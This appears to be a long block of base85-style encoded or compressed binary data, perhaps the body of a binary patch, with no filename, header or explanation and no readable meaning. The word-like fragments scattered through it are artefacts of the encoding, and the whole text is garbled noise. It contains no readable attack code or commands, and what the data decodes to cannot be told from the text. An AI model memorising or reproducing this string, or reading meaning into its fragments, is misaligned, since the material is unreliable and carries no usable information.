z`bU-h`R&_3T`)gsVsrF%UQZOr<+SVFm@wK1+OMqYXYwH7f4V{UPi|QQJkY1-(mD^4=)kYR#u-TJ^*`$;m&Bj-roS=%qmlk%HSsq+{4X`}9~OW%fw>j-x#e+l&0}r;K20c~dKZ^E`4gF)q{%MT)Vcjd{ zr&FQ3kdyjKk-I~vcZIyv0r-*(Lr97KtpAI}pXY)H_g%6N66yHBU_Sng80c<`_|Laz z|1fOoZWZ!VG-xlpnExNSdo%T^n3p;NztS5085Yj~>BjaPvO{lEj}fBg)cOk@9}Mg0Sxe_YU^ z4n1%Y4^9pWM*h*8!)nv!|GL2bQPF?b0JQH^E+0kix1_zm1jd6X?1TQ5@=`bOK)^YX z?Y~3)?NF8j?&u;O+)AVf@W5vN-NODv{Yfh4zv^MGLWi>XC}RH(fz*muo(G#~0C>RS zpA3gkmi~tNH&%bLq*EQ_f}Pw~fjfQ;T@*Pei1widLb3iNSSJ2v*8eM4e~7oMH*;1qZ;tV&+Y`psyC{(S!h!z5hR zp$0Gs^}%fv?nCbSIyr%2h6K@JY5lEQ`8SLISjqnyeUNtW<|BKn5miQ0m_2(-()^rIE-e4b`0S}IX2g>#5uC;%vVCH4>l6mR) zo^1jN9li=Y7+Ey{{ukys!}b{>Q-3bt53v4=mEgfc7wm&Kx2{kucyJ6eGdcW?RJ4EC z%)h23^3t*0jP~*~eC=fh(?v1Z2cxUy1r~EAtMq3xC0YN`>Q3N+PS~H;?wjp{b3=nL zlhcQr$?2NgXm9Oq?f*BHtBu*Uk;Z}ttp3x4zaiIu=gIZot?gV( zH{48Xcm5Xp;5>K`9^|7#{ipW&^9tGiN$snar0Z9l8xvqWIJ0{LjjtYnd8(PXd7;+u ze^~$Nx-PEcLHw{FJNi$poWC0EpUQ|s^le&)ZY3pH6BUR5jhzRK2fx(_;PAYy(SJHH zm{|YyhOV`B!~L}O0B@78&_(dTX8*Or_K&&#;qiYkw-e{@ui!zlvw47haCX-Qng||@ zERoqJ{uRR?*woEMJh*k4E)5R?{y_Fr!5?7u=YVE)Dfz0C_W|Pp_QB+u0i6FO*gx$2 zwZtFe@i#VhtV$;^qc{Bb5fu6RaEh8cf}*ib%^N|dv0|{!%pXCq^GDLT1tTdA>-@rz z6pwXb(MY<4b$Rhfx`LIkWE3T0C1G7%I*P7g-M~EBn=8i9m9Z^>zme04^p}(Wbi`(| zGW@q1n8`Y@d0o1F)wwl1Oc%xOUQbiN1J?h@Fm>hW&*Q%_?AUn~v(Q4U#g($q(#lzB zd6lfF|H(?Lu+~=dr1jN3X=4pf+Fa8U`4=zRhP9)%7wxL!MSBnf-B-_>4qzRu?@fmr zU@mpTY;+9kL|`@wZ#v+ue=DWGcKgQy|BcIkrK7sw!O)iV=*~4K?*r%}#)BEP184$f zUt8)QEBJ@NKD59;w7332ZT!JZ{`Ikcgqdwp{7Dvn9@etHOL!0m9?Sv{CY8w|!JjnD zw$&v6{G2ya{#Ql*T`m2cV*i-*zZCzop?^9W(W*Y(b-_M}+r5rv*9qYKFJ^zb6#r8$ z{@|4OzbO8uBL5YbD?J6~N=KtwH=w)MldPH04*whT(awVhzt;`m@PEwcuSxzT_0Jah zcg(|<)*o8X-&yfD>-LXS{sY-uXl^!iIvUfa0o`)}58}atdEmhe%pN!5->RkmUl@O~ z32J}FwrxoFZa9A*Fdi(Z7eKSX18%mtTKdb{KPvRUh5WlG{y;PEV0^oVbl(L$xBwn3 zs-KU;KV-AhE%0yu;`WaTf7QJHzeS$(G@(7?!BvNKzO^@C=fTC@YiV))0Al`^1^wml zx1DW&sQPHZ1Y51h_}uN)7Sf(P>}dD0?V{+HeO=dP;% z)M)>3=dXnRhWh_D;KAe$;K5C2?}M*&3HxAqgM74*;SX2!=H|;Q`@d5AUxoi`q5s{< z{*j|U-~YnuZ>M%_L=SIWv!+TM{x_zJE`tXv8|I_M;K4HJ9$EV9Y5$~h{gp}oE7PCV zpLfWIdCHw!!Go{h!5Uf(9xScmDNp}YwSUyqUy1aOV*RHSf6x5-A}RXv+b|DzrHM{WE;ZT!brel4LxHF8Bk$JOK|LCp&o`pbtI~`+(v9f5#s%?|)(SxAVF+rYFwk0d!H) z?$s0m9+>bqB=NVuSpOYAe@edp+Sq?lnDswqr1?L)fCtzIj0amV1B35>l+gcQ1b@Jy z|A^r)q4slO_a^k@_6=)Cs>A>GCwOobJYe%jEc+i-_+Rc~|5)k2(>(vnQ2*Z#wV#W7 zG@+-?<^gokwLPn7M`O%_F~c8|(*N7*ziXU31DVrb+x)x!sQp~h(*-=hK43i9)g&M0 z9~toX)aW0z_K#WoO(FlTw*O8|{!20bV?+N#_elGXSpDs?UQOxg9p~$!>)-*Kf5hQW zx>f#5jsL3${(wyX7kU6#{p||y;Mtv<4(ohtZ@_%C8{ok{@L*S6%>RN7WWE1UrvK|3 ziT}v=zst~{)&H~p$Kt5-|D~Dpc>rB>W6w%D&Z3`gzf>fX)h`CTXP1K`Eo1P?-+V-}k$@wXM@KQ{D_6YL+Q{=1Rry<6L-Ie2i( znksSl-{hexmDxALx{deP0`?-@rRUBiRB;6b>v=C2v`zx4bS=^wfLqZ<212m6yhe=X@hxg6#XVr?DJic;<;J8b({ zdjmFilg)mNY@OfE`GZ!@U#HtY()fd#`6ImlWvl;mDx1HFy2I@QUB!dtn7^4{UH_xQ z_KzC>%O3kjhW-}#OH%rq@CW4jk68Wf4j1vja{jEd>VHJ~$Eo&@g8gZB{#vI$t3RKG z+1I-UwWe1OZd+3&j{h6_^dIhDWthKg=zshx#(y-@e|AOmzhLbi+?wvjhI6yWA76>Z zHI|+j)>B-cCa`6gL5}NlwnX#C*&OnhY;iNl*&On7^vbYav=xjXLzTz(8LQ z?AwjN{bc#aEvQ4>hS^g)5qsXv@-JBX5&H>kfcOu5-y^`l3Jdh5(ABH|H#Du<@&$=h3p?Q{o`!Iz{M z&dSG1i{h*(jqs+Dn|v9m9hNZ5p%Z!u#QFU0s3q-*#o4roDfNL} z+YgxbLSA_wt7{QqD-JK2g+^j={#~i8G`4hB8V7tE;f$Gt_?{T&V+M*`o_Z_S^n?06|w$$-~@8QGG9{~RSF8CgML^D_qH1MT^ z@IMa0|6qCOqmBHKhw$TbK|y{7U&Le&pN2nj#^{q|r#Qq#;#=gP3s{$0=A_G53GfRO z4Yu*MHaY1A*3Gv5bgP{|-Nw4x-k%#EDG%UjzUB zWcY8WozQLnLkF1ef8M9C)c@-FKLNa-R2CSchW$T{;VfF+|KLA*zNPwKng2e#{)gTd z@Q3*QFXF!y{eQy9e_sEa^Pi8&TJT>{|6B6^KBxcX_@Bn|{Fl@J!v1%J|8nO)`e?=H zKd1jy^WVz(Z_xka4d=fi|E-<>a{QN^|GfV9;btG3o&R$C-wOX(Edsy)Mf}GZU^@Th z^uN;i5B|dj5TF0|q5F;cU%dab%GiG{;lGvhUl0Bp>_373e2s&g{#QEx752Y@|7&6U zG5e3>zajQxlmDvpzmokY$A2aL&&Q|5{O9dIne$&W|7GkyL+ym)`acuN?|(k0X{rCM z?0-4_L-z~%-@5(h3A_o$e=lRsVYwmaz;OS>d4~a&A3A^>gph|g3|Tk|KOhWw2$qXD!Q~=+4fRNVz{B*T)5iU;aQ-Xme+B+y-&@%K ziu_lw|K#j{tNa)Fe>UxZ1OHXq|4QdSUth!QKlA;shW|M8>-*b-9_4CjwtThet z(AtK1XkEj+v;k{lU|!nPC@+OzZ3)Ut+px9=2hh&O0kjKicas3xi?y$5K01IE+AJR( z!aCeMA02IxkHSz3dkl4eC$LVU7A+i$)#5~9ooZ8nP9qn{;%Jr}JP_?lZ6qv)k!rQpiet4q;zcgq|)+a9^$ zrhbN;q&ENG(*JWe|6iW}F8BWp{AXBm`$l%6R}b$vUen^>JG@ScrHg|bi1fc!`(G~p zBeMT&?f<{3|IgJ}n#X^HT+`kW;QfQt=l!dM7>XZQm&3!hdH!qi|3&;4+y8R$Uu*n# z#Q(E-{sT*f#s5^>|4RDbGXBH+eJy)M)`2Ydnebqsn7|p63)Z_9oPWzAI#!2 z3?hfzf$~1r2mEb4>|qM z<^R%a%>T>tU*7(=KmIF@|7;!7-Ys~af}V?*fepDisK)vaN&ZKj{#WL|eEo+^{8w)O zTg(4I4!)`UKlA{r|JgFwU3h<N$ zpIZJq>i?q#bWCZ?BOKb9&PSb~#Kc5;_39P<0WAB}c%@vsKv4r5aTr93^?z3PzvKSD zS^P(=|NmnCKf_lTjeQ?7ybHa0e4k#weocFJ@1|9&R#A9(INiN-m)^gBPi#K8D_$wr zFH+>7APxh}YW=T-|LW{NrTCA6{jbUYSJMA7`(Mug!~8V9{@aEAKYFZ3!tdWatP7<) zx@TnX>({R!1G{Mc{Q0zL(_ z|3>>?RR6EL|F1{<&t(4%1+L$Sl38ifQ1JetiT46e-@JK4hYp5vdSLtZ?R4zeF^Z3m zr+fGA(c8Cgbw3+YZd{`9LBZ%jW*C_0K}PMLY5(&$bk^)Yb^Bl0|I?QLcai^ZcK++= z{{vTZ7HRZ-- zj`s}z)U5wQ_xe9&{>%ISO8p-a{u}qdDE=ete>e002cZXOXo;+}VTg6!3ru~7y&fGI zNqhJ1rHF_Kx^(H1Q3vQ@6ENPN9MqV@AGWCfw#I*B|BnX$U$Or~&i_-$|9lhvzg+w; z3vvBlIP=$YyuT~3*yi>9yLS|O_6&uEh0(cl=ji6moAlzv3;GJYP)A-VH?Po%K~1>& z&z)TVmoN6ey83@p{kOCD&*Hy^_}^c^|L>1JK!&TiP9yIH{(gWDaPdMsoj!Gn^A8_A zdPE;TeiZ&$^Of=bIC#(1|AO~BHP-)2{eScLkCOkVr2n!1)#m>d_rC`F-;wx_T>Xa{ z{~x?xt5WAHG4tbx50sRc06DlockbLFW+U2j2Bh3dpksrZa@aGL{ePnUZ%zM8{6CKW zcGrKH^uLh*vF`t?=>HVXf4TZEIsXs6zZU+Vnf+&<{ofZeHToCJLTiR}v1;on@m%`z zPuTOxH*e658`tUi^XHoVLB{(q@SejSLfyaP{eMpE|M=$p|4h^myk9+7AKnYH@cGk6 zdH_H0;ll^?0XjkLE9F)q9Ua_^@BaY)h*|%S-1)C!|Lg7l3;SO&|L^qppB?=l7WJQ) zDFs}szD2XpD)9b=6(3J6@1(!?L=O-|G3V(*L(x z|0~4*1p7}M|CKxcIk>`2WCw=)>{8t5bL{$ikN|pXtr36#8r<7QlFa z1iWXsa~mZ6|3>}K?SF>;J(l$6f~B zzjOib1)=&AGmO4|{%qk3q};wnhlaGIHAdXYY|8te)Bh6xU&Z+^U;nF+|JPLiq1FG_ zQ2(LU|Fc>DY0CezdA2=@WT6#9x{)h+Z<2vO=ntF+f;JUo{|)EAod3^w{}bk%5B(Xue;}~L;_3A1{W~d3T>kyrClBbv`wzNP(m8TgR;GVt!% zBRUBgSPdDFKmXfKXU%R-uAyJ|I-6LVE;1N>A;d1ZXyE@Ap^hAx>~-5xdY$v zA8T>@Uxoc=Q~yi+f5d(m{%cRjzyQcVs2j;Z1Y}@CZC}KH&G~PP|H;LFzx)3p{9ify z&*cA0@gILFoRJ2V%}xiG&ZN)oa27m$NRg0%jgWy&V*EGgeYe1Ww8;M}#eY%<|FIQj z8Meunf!fLX|MK{sy^Ca|!R4~kAvcnNs42hD<~qK#SyTQ;2LIWW`G0Z!kD~prRR5tv z{}1v&9g28UTkyWE1piyU|I^g})fX}_q+AX^~j)|K;+3n)$EQ|1+=uZ36!-rd{eOk{zheKNd;0%Pe@sXHYL}$A6Nfoh?*5G= zn%bo?W&l7RKo@i>VDkUX&wtDM&;F2s;T3YwQMZwS2Xq=Tu&tgiU;inW|1tXi%KG0d z{-ZsVKXX|}^|CE=39gu+?e^vkAj{Hw>uC&y& zV^Fb7G`eC=I_5?)5Cc81v%a5U{(~t0W9|I68UK+x|CQsvmi-?()&I-If2{cbjlla~ z!28(ahoo#b`~Lp*B$@#k=!_Zw7XP=U|JnW@h+054|79>_U`(Z)bbO`z=z%j+d(m#l z05^jYH9%bdmo@$y?SBpR|C;juBL0i*f5rT-Qv6@N{ol|(E%mHX+$Qe@LAZZCk!E%Y z=J?+YI>0pl#bp1R&;Jqi{}s3=0DlyKb!4741Iv(EBn)lRdeWz zo7e-fkb!-W0S^CN)&3Xxe|Fn{8u~vp`+v6gfBl?kse85JbmrJWfvuXZOa^9m4F>;F z2ZH#oGXE{{A4i}M__r$lbaJ)($iTU&J!yYKKMwytweTNYRsUT#M_TGutr(pNvybdXrJ+t$ zit5gLu?)=Z7EFCu4-j;Ks`;PbKR5rcbQYRYB?p~YI@N9TK>V~GbObWM=Kr`3|54=s z*^2*h^}h=GU*i8)2k$#nE=s3#-uD9Ug)7qo^ST9r|CvPmSJM9i{vSX8bv$HXYSkQc zav76>)UPFDXTb%?Kv+uFyGJY{5R)6!~dL6CJRlknv=qpO>+;M@X39;2pKpA8DR6jO!yDH|7YI+ zuQmT;>i?FF|EuD^_55!Y@V;%OpIpX!L9iZNOP~dif&Pg7E6;zH;eXkzG!Zf|qgqai za3dMG1Q|FUoE`Ju%;!IH=fBM~1{nU+5QhI{rvEMZFU)^n^WUbF%R;lO`%~14>27fr ze0*|`u1xPi;mG|*zz<~eKP>HkSNs3+`oE&jKdEoCdi407db}ki9yF- zz!v}c`LCk+KhOog*D%O{8}t`28AyN(@bw=$%>R+Z{}tnZiuoVLe@pzwO0fT{=gdeG z`gEbE51rqSZA(U&3@rJ%5e|CRH<&c%O(4CF{p6FC`3z5Yx=HXdHPOiLjH z!x8&8^4~E3MLhq3&Hs?j|C|XKm=75^1d;zby0rqWWJ|{=dBbuWa!D ztD+CIX3h*Wxo=nK0r!xBWsm`u{}~1BciH_9oiFA8tO{NPyL|7_cTCjU?5|EuD^Lj1?9|2Hkw^3On1AOp`*u}@p92bOnlM57S< zA7jA(7xus6{71}zn~fQeb07nYYX3;brVpez^!vtboKNT3!q@RwtOxkwW`145^>PTm zuHc%$)|Lg7h?T^xg>-f6Lb_&H*KxhEZ6Vz>tXta`QnF#)#`Vq)wieM{tb17ZcP*it zOGjY-Zy}0-4|ukj691L-zsdeL@n5w6b@2bI0sFr?Rt>B=kb$ZF+(!mhKn7U;M|}SC z{5R=; zN2>ps|2G4?SLVM&{~PyzHuV2zlfnOy^#9BCf22bFzp(!m{eMUJk3BD)|5(pI9R=pj zNV5h&1|GYI46Nx9$mM?~AqQY-|MT{rtp1nT|EpjFsN%m||F4n%qVvCzaQ^EY|2M>c zZ1P|3{C5=p5i-yyPez(Opu5}1z*@)v%l}M<4>*;J{TTMY;`y(z|Hbwn&VSzi(~AG8 zT>m5A|HbS-Y5j+L<3BdU{GZ@FnP|?y?)1V<^uRjE0L%ZF@n7-$m*@X#V87YD|E<;k zn%RHZdHc^8|5Nh+Y}7SpLW4{~`VZ z|6i^CUoF9ZQ^bFg>;JRHf2a3eQ=d+a|c|4sT|&i_}B|Eq8Rhlc#W-1)CN{$qM-7LbYNyO9iR>>0@Ae`Z?K z|A+w@<3C3KPf7oO$A7HrpPuStHGtj^G~&PU{r^pJr>7SAGSPw|J?W*J=z&d;0ha%n z4I5Ck{x{fv-=zQVO8f`NfW`ceJn5-rzRa}HjbvamWMCFz|8pP%a}fhJ#sB2(KdJwx zc>c@z|0>RZv-*Fd{iikl>z?=z&4B;a9IJKy%(Q4|FM9dZ9qfS%6w<39m;W*6KjOa* z`~UwU_>Y|Zr-c71gZ~KppSA@u)8b*hDCOy6!8A*?>*J&gv;{Kodqva&7~}s6`(Lg9 zZ;bzo`u~mb9~uAO=>LiOKh5^P8~guO?Em20=J-D?!26cK{$luF?H~h7+(ZVRKnAu# z2Dtnmm;aIHzYzbo#DC}GzsCHJG5)8={0AldZ`=Pj#s6II|688_8O-tjAOjr=W}#)n ze{l;vz+_+>WMBbuz+C=MM*l1Of0FpWk^iFouj2f7UjIkx`2R}#zjXkQ|H$yaIu^=8 z%SX763~YxCEUfHl$p0Gh|APM~iT`{%{=X9cwc1qYVq|Z6 z^(^)6fhS4vwBwhCv=}m=&i@zHe+c=1x&3eL{5Qt`MEyTD^Z&N%e+2z+R{t-q|IwWP zvyJ~C=l?f_-QUcN|K|9w9r94Y$&F-SCuCqr6;E1*b6|zA|G)eHR0TCaLj9LC z|Em=L;rOot|G6t5I z`aiVh|5e~WTJC>q^B>s!r>wMgbYFVy26}+Wz@FX>paZ-t=D(QiKZ*VSSM&dU(^5sO z$_n+Lbsz)Q;{TTXH$VS70{2fm|BvB+^@I$p8v_}5p899O)1>pX7c#I4GGJ}~i{t*k z$o?~n|7g?ymi-?(`Tvjs`SV|2{&V<`!2kNCs3)y=BN^BS8CYH2i_G#rR_A}Zi~ld; zzu5j)%>U|>|F`A;o1g!d_`eMQt9LO^+Ay{s^uSZWG)uKB(*ye<18X4z?mPd{vj0OF z|52;|FSGyc^8XF`-{$-W;6DQYtuJI?<2d(_foF;5DYQ=mT35r%F#pvJ{eO%39}4^5 zP5gi9`EQQ@o0-G^>Q~&8HjVq0-nfAtc$OH)$$)A8yNdb`RqSN{^8w0S&a;6>`61xyAGK@V)i9QY9F{1-d(|JwY2CH^b;|C;(g zl+J&d_^(y}Pd@*r)i z|6zCh*TjEQ{jb9Qm$U!m{C{isk5>6FlmAEFuQgU1#D1jqU+03Efd4I>|77AnhyMr} z7*x`Wwz!cD9O+x1LLdX?{8wN9DaHS?#DCG2|JR29AnE@z@?X^dY198#s{c^h|ML9j z_CIWX^YdTA|Du^W{I9`~fo&7|)7ux%Qq3O_KKMD#f}@aut+l-+^WRkF|K;L;|LXof z?0#GGKZcg_qU{q0xQPs$qcF(8wmROlQ!f5z&Hgji|NM34KiI7QkkSA0`(GLVpW%NE zEA34?m<+sh2R(3(j`gcgJ0JtQkOSU>*&lm_`5#*IzsCKq)c>QD|IyTf_f1;J*UU26olW2L6lmzZL#V`#&7c|2WP6m$CmHiT{}8 z|K#WYs+s@5@V`bv26jz$4;groc#cj$26jURjQii3{+FEpdgDJnK<)oSSJwYa`acx+ zzZw5+`2QC8|C0G1z8N^M+5g~eEDp&Z|Y!rmy-H=;AKKA zML`Ba8~D&6U_U9%f6*5IRp!5C{$E4<&szVlEA#&<{C_t8(Gvfg$A4t_UlSk$`=<@2 z_iiEs(f#YuA;i?_r|CIDU`2R2F|6Aa{8}Pr! z1N%{!|1t$KaBv2bffuRf4+tNel5mz{AOm56J_h_xbNnxL{I{+D1^>^i|HC5xFUkK{ zJOAbOzt#MoDF0(-|LI}>E8Bl#4EWyy{{{TdX_a7q%^2!7GH_-+?V5{ePwSkB0OA8}k2+_P>Dt4W66fzXJPd4rJii?BQ;q2bc_;A6S>7 zf_?uI_>cPK|1Il(`1qd+|KDK$3-+HG|AGBB6WC94tNPM$P6l2I=6R}JnGD232BI7L zisrv4I zQ(p#NC!M2) z9a!8m2h-iNC+Xg~2yWfSm8}PC#qsMQu53LLt;gphh^;5*BaQ1RzJ3}XNzX*13TT_2~QH`+vMq|BwD}^nh$d55RV;9jN=+g&NS^r~zd2U-n@gK;DPT z{~_*s7_~rb{(Bf^z_9txCt&x7BL~FK|HS+k_<^T&sQHJs8e`EcR9r=F? z{jb&jGtGZB^Z&}4^uKlf8|MGW;D1T+KNb7`Is6}`{tuP;e^>C|>HfbG|DEjr8}`2$ z|3&`4k^hGC-xB{<9{*3ke^J8!GxmST)qks~|548WOZ|U0n*X3S|EB`~N51}BY5&{S z|5E--{Xg^b-!}g5cl<{g|Bs9RtFZrc=fC6rKR5r=f%y;C^}nS4Use6DhW!7x=KrhZ zzux(OYyQ7h{Qqwj|4~%`ZC3xG1O9{B{cq;~8P0#3{U5-8DB`&PuQ>nJ+WD_~{)3+Q z4|4loss39j|6^JIVOIYI{(F3XeW$>83Vf%)cM5!`z;_D#%TZuTV1t_f`-A5Xc<}$N zU8`DHnXzv&>jht$wi&4{EG0@XO%GCHl75|Ka@~XJ5|h-}S-f{uT1n7#nw_?crN-rMo>? z+-=3s&u14`{ZRgG+JAUd`uBhPo8Oo*m*~eTgLiy=`ee|%&pp#j9#^J(xj&{?sx_up zbn@l*Az^R+=YJCBWhwZdZ6n85s`cBSeU4^+*Dm?tupip?uKLxd$+GnSky7;ke2!)t zmS&iDYtM+#r(u)hruAqTe|>S0!EY93C|~6Ge-AtoQsL>e$>;yyv&UIdrY~CgV(2eB zz6`qh^PhSCc(7|`mbM`~E+yak$AjP7HS_t$kgY{-t$Wq2+~$6>zy5vt?7A_dgW7HW zvM^oq+WXoyoxHExm?y=@S6+8DZ_1i25ifEdn9yV8giDj6uRSdCARxkPa_?HlXC>cX z`DxIanG4pfPC5AWOTJQ};d4vQeX*rUtxan~D^J~?er@@CFUvI;pS}2yvEj9D~{=FWo6zq4xFx4~9*te75jr&wz{b{{3U)x1-no zGk#v$|K~HjNr7scUau_ovE|TyM^0_Iw`%V1J}v)a!}&V#MOV)a8CQGVr-(ZpU+pWL z%g5g*W77?x9oFY8oyEV!oL5yE{pY$T|K&fh%gA)AFa40e->_VhW~R;4r(pb|GoM2P z3h(&eA}x}CD6wy#m+${u`*`x$=f3MNj9r{#L!+l}BKppVEgMn5j#*JkAIY}h|iArO4aH&7&?4(#PKq7+ufZwZ0=*97v+BIz3x!G zI<<0)d!I1jh+eMVF83K0YoCYQ#E_PV+=MAl$y1TUiI69|t5 z(EAEBoFn%P*wX}P|5mXA0V%v#6$Fwv*1Z@dH8|V{dpD}_CD?HzAMQ}QNCL#WAAWE? zlybEIKg%pRyHH>SVSj={$}v^JzCF{eBT~9M(bwuC_;)ziHS&7GMPlTYd*+N9}f#IVca(rU38T)6=k?Ci?XF~T57J^9wnh_!fC>B;X ziv9L0%w(=#&pyc_Wd&&Dnz%^V6DBmgUSAqV(T!{t#AC%T26uOk^!W@AlyL60aN zGtn!>KX+&oR5>?tGvA@?hLc?vX2^9h0G`bVBLJKY-!Iw-pslH^n9Ga8MTfNYtBk!a zOOMcqBcw4t-?7Sx|5I?2&9lH`*>WH#7m|mI7Mv*)Cfygp$SuT8D;6+|6BR+DA@N#c z@{wfkZPiQC&*y@b@w}kw3Euo?IUbEolGuAoQ|&#t<1B$YCKu4pEI%Y=4JTf0Zrmnr zap6~gR_s)6i0TShcVqK1uYWQci2Et4`T1K$4e{I`H=W5B8J?1E`sEko9Yt;Y_8y_X zGV?QNH-!#1g9o#?nF2PuHv~AN)#ac4vh=LWP6?wvc>-w==BiJeK%dQrN+TKbXy?0>>nxQ80Dj)y5~h0EnmS;7FszLsVVtLBjFd zGIvSQ$l7+rEt-;>FrV7M3qeP*ja+wkEu~i|dReBCZzH%1O6f+Y7yWS|LjwyabNWo4 zeAbuoeG@kn)H&arVKk1@X`Yh_M800|VX8km+kn(vG^N8q%kw$ok0tKc%odO&u+dS5`$$moy-fR6N+VS%#QNW9~aC^ z*nN`s&B*-O7Uu9w*pqF4sByGAT6?yJuy%9=#)nV(5xg?wf4OnkleM?6aCS3h%EyIH z;IjL*`U=>PP#cdAr5Hn0fzUX4h8yh*jE($p)m|}{-;j>e7Qp#q%6oxFNQt(Q*8gf4 zjJv=lKWt`tdPGY*w?)9&X?~c%jclqQa%w!v!dfM?D=1FOTy@j?iqwduVTffILm@Mt zfDb1ySG;cLj?3og#`F-%!p^z3`rftD-Js?KpXCm1Si$_dk~z;&bId3f_*r z3MjQ+UToe>G6S0~d-rh9p$qh}H|7e(N4OQ16zRho^Z7wR@pB$7SK$iy^sZ&tGjtg3 z(H^0CQ**CsY3z!UIp1Fy&6)qOe9Ns_6eZ}V+9PM6t`6lwRmBV6%QLx~9`O;y3%L>w zd-2kj{>o1nJvt-X*@JllJm{MwhI$SE249I8#F^6X&_!ZPn0*Py+LRDOTq##GLLZ;d zgDn-Nlp`=uzb+FLeH&0#LnpRi4`q2S+o|Ue9t!Uu0(T9-PM2r54z9d%8qqFiqEjEI zh|e_Bbf!LuK&Nd&&0r^rzKTjD51dyLl>KRl8hq&g64QNUjw~OnVwJ&y+Jdg}v^s}X z@TF}~1!pC&=J3b&AcgfuP=k?P=w|Z{oH*Lx9Pxte&eZ)pC$Yf4eyE31D#9@~Yxt$VRSk_aUoD=5R%B2$v$?mSPG{fkKD5*8FgrSZ}0o_Noic^Ms@zzo!2a z4CZ*QL_m-43kPr@QYi=7t#ZJ+~kh`$doE$H34?;&2E;{+mS?t4-Phh8XPU9E3X$dL#nQ)%`S`WLRwB z$c|N*Lwgok^xAihHca4kd>PVOS~o**lmCtazc4NBfKqQwt}pY}Rf3w+G3Bd??pKiC zHk`ZpMVD3`jy-F56I76<>cZVzEJa3rz`>ox z<;$d!CyGK%SAZFg_yI*7a8Lb7ZnfDJ{j%c<;c3E8_jlLpeh0$WK-=oI)(rm7lVOND ze_EkLFerMCi<0AS0OsXXBjcaK-xE3s20Y{%?3Iu#Dx7VwL}@#N9Cx(UMcOP9#l4uT z`RE~>`T4c2CB4QtR^RN=Gkct9H0BGc3M*t4b$g>h@h1XBQ{``K|3-GA*`9~Wt{yGc zWB9?(a3Z}%?|VdNo4h3N&+-Y`5lGs-3*vQYh$YtS^ z4(4UcYlg?>Pvh6=*nYzK&=&l^8wQi9YM&M0l0odDgbKTvJka?|OTC?FrB^$x^r>+q zrS}-S?mJ%b$tZ-%UjZgEpQ*rW)+4*oY@XQYUEAtUP(Pk~ZVD8i6rxYgU$!i=636+e zZL}o*^}d}0qq6)+)98>!)APKORnmEioC_sP3Gm<>peYif6fpdK0@Q3KcQNsnoFBf) z%T6v!BOP;A&qNGk$!hm0DjFzG3rZrTv>_<|8Ts1*e}@{Y?rMw))#J7HL4;gx5Q1Vb zxhNYL--kT+ecZll-Ep8z@RqJoD)PauMzp@htO?Kx&o&g@*+4oOKygFDQN;bn0*Ml@ z%3nQWGymSBj&eu}AW_y>UMl9Q?qX(3`gZ6N)IC3Z`Ge{2Yl8dpF%jEBdw7lv%;@O) zEPuQM;k}lUz$eQdJ4SGu-8z5hE$fr8@LMvudw)%$g}>Wd-p#ZM?ut@GHXQ6)mt(Ox zr#frl6Z>knB&!VVHUQ@(DQ+1&y1MM>zx`kA`mmG7&Wt{151>h&p-ZTpAW zyQXiYrSw>A3VzUB$uOt!?AwDs*7aQ0?_6c*lhsjDi6reEOjRHgbB?jDaO%UNga`sWio=<%Qp3WIY3o8(3GIu0f%!xTqd@bQyLzK1pbontV0eze6KF3i5v=5it3zx-eY_ZG~YrzR9L|4T>b8y^&a$)+H4_A6@4Jvr|5 zB?CEl7m*v*L&AmpbkDc6cVUQZg~5pNU; zGK0WlV4qX{qU=l1s5ukeW~~)g|CiiG*rQG`7YPrZFQE4!`_*YHczfs>awUGYD)7^y zR+;-*$;H}p(BR(T-8{zssI;@c$1k18WwtLS#(y+95+ToX8jp#t@9X8xNa3@lJ+(y( z=%|9(CMzoGMSG_@RcJw(PsK+f2^BSabJ4!B{;?}^O`6UMT*Gdy=n{JvdCV40D=KpP z9}!H7BPNeM7{x^m;3I>lF2$#Y_32GF4pQ@|bk-2^+c{0^-~Bxb)HD=pf`MiIicoCWv9)z}cYZK|&m(zca1d5ec9dn2neUYq10Ryj{}5I7O99Lo&+{NZ#pavt zA^?~cbZ6MQyP;PK?qOT^xEOe4YlX{w2_;`h6G`h3q)m4mm`*Mm2ANF0c{$XXfY%fA zODI7lqUPTrS5XpLk_n*iF0D%PI{xjzF}TD*vt(PkbuZXIj3q#1V*wq<7F$~7?it`7 ziYc6ys4aX;(y$3e8nQ^-=KJNYnh_Z4;p}|V z7o=i?5$#!tbpFWxrw!Nr>xAa5%2%xA=2klWtij|1c5Db&T7BH_$)PZ4E&{`fP-!64 zsDbn6OUgL#bT8|8xmHQx4qVvs!`BLWF2u;!wz!FiYBB~KT%=A(dQXJFr*I8ktg`Cx zF2D!!DIkR!AToL`vWWlL!*-O?uj^OFbtRW~6cP8%IHU5Di_b6=#RAW+=1C!f`wigf zO*2w)7f0pZ`aSt7%6f~=I5sxrbqkhYko=aGtANEz0TI%kHBjXDKZlt*zO+q1eGapfpuDkx!A{Avg#WCv|`dFWqYAhi5~7p_$LMg~j~mWQq&=z2aV{^QO#{hf+3 z?~4UULn9Y{UZw3FJ$=$RT}g;gYb3R|-a{fc;~zLhM{Yzy%la=LnWj?HNPktMs`;A0 z0&6C(KL{4 z=xVMg;}o(xU@LB<%6!7gO0pHPUJVwU3jJ<^uxDYQ_kw|BZ7|_8z{F^*<8%B37QQ3&7J2GnT;?rxxCE!U7EQc-oAVB z+JtVX}9Yfy<~N9Z0qSn{AOL8i8kVO+yb|(1N-{;(}{Nc6eks?pm)P_eLVGfc#}-d z!|^L?cw_OvH$3Dz|Ih`X#;28nXfYaN_&E&dWkty}r{k?+yQPO7aA6VOqlVG|mKq3Q z1_ct#3&Jsaa=^b$H2*T;;{0P1ba-Xy@dU4PxdKE#Tj|JBUe0dF%&9`dI5#=V!poM& zD$2hFj1o3A`GvbL6~_y^Yw8$|C}4=DXBIKU&X46zMzFnpt;t;Ef-%NnKO;xO=U&{6 z0!rBY_<1tMYS&94_$DLg{K0(;HG0>jQrNOkfm^>Hwea<0i}B+Y$6bBpNNj!MMlJ61 zv;495?|9r?CLX5Y>~kb`2T{K-*6H${Y?jF~(V`fCMKAzRIM8$&3R~x*dw2n6Hqt-N zHaE)q3%D6apZG9mi16=o%~%P6MU=QPgGM#njuD^DN0*mW;w#voNL{<2J1kA0eV_4D zcQ&-%IAef2>Q4cRPa;52^wZ#xW8a0)31C{C#qBP`t_%^ES8R#8(E~cXI3f18z8Odg z!_Zm7&D7AG%>0W*$CEq4t4jwF}|uVQTaKdFIh3?HySUho917{LI4(hdO-QxBrP9C<(l=rFF-AglGIxz&8--wNVg z`opdojr0R~At1K@YJ-5sU(j#-4gXlb_aA4w0${H)D%keSFM+2f=)Yz*nq6P#)+DQr 